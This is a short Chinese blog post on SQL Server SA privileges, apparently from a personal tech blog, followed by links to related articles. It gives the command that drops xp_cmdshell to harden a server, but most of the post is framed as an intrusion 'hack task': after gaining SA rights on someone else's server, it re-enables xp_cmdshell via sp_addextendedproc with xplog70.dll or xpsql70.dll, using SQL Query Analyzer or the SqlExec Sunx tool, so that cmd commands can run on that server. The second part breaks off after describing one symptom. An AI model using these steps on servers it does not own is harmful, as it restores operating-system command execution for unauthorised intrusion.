前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
第一部分:
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and
OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
]当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。
(e129)
SQL Server SA权限总结
原创文章如转载,请注明:转载自悠悠博客 [ http://www.ajaxstu.com/ ]
相关文章:
- SQLServer性能分析(2007-7-27 7:39:49)
- Transact_SQL索引(2007-7-20 8:14:19)
- SQLServer和XML的集成(2007-7-1 9:21:28)
- sql server索引和索引调整向导(2007-4-10 9:38:59)
- SQL SREVER创建和使用动态游标(2006-11-9 6:41:57)
- SQL Server官方推荐安全配置方案(2006-11-9 1:59:51)
- 应用程序中的高级SQL注入(2006-10-20 11:55:15)
- SqlServer2000中使用用户自定义数据类型(2006-6-20 8:19:7)
- SQLServer中处理图片(2006-5-22 11:46:42)
- asp得到数据表中字段属性代码(2006-5-22 4:11:55)
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
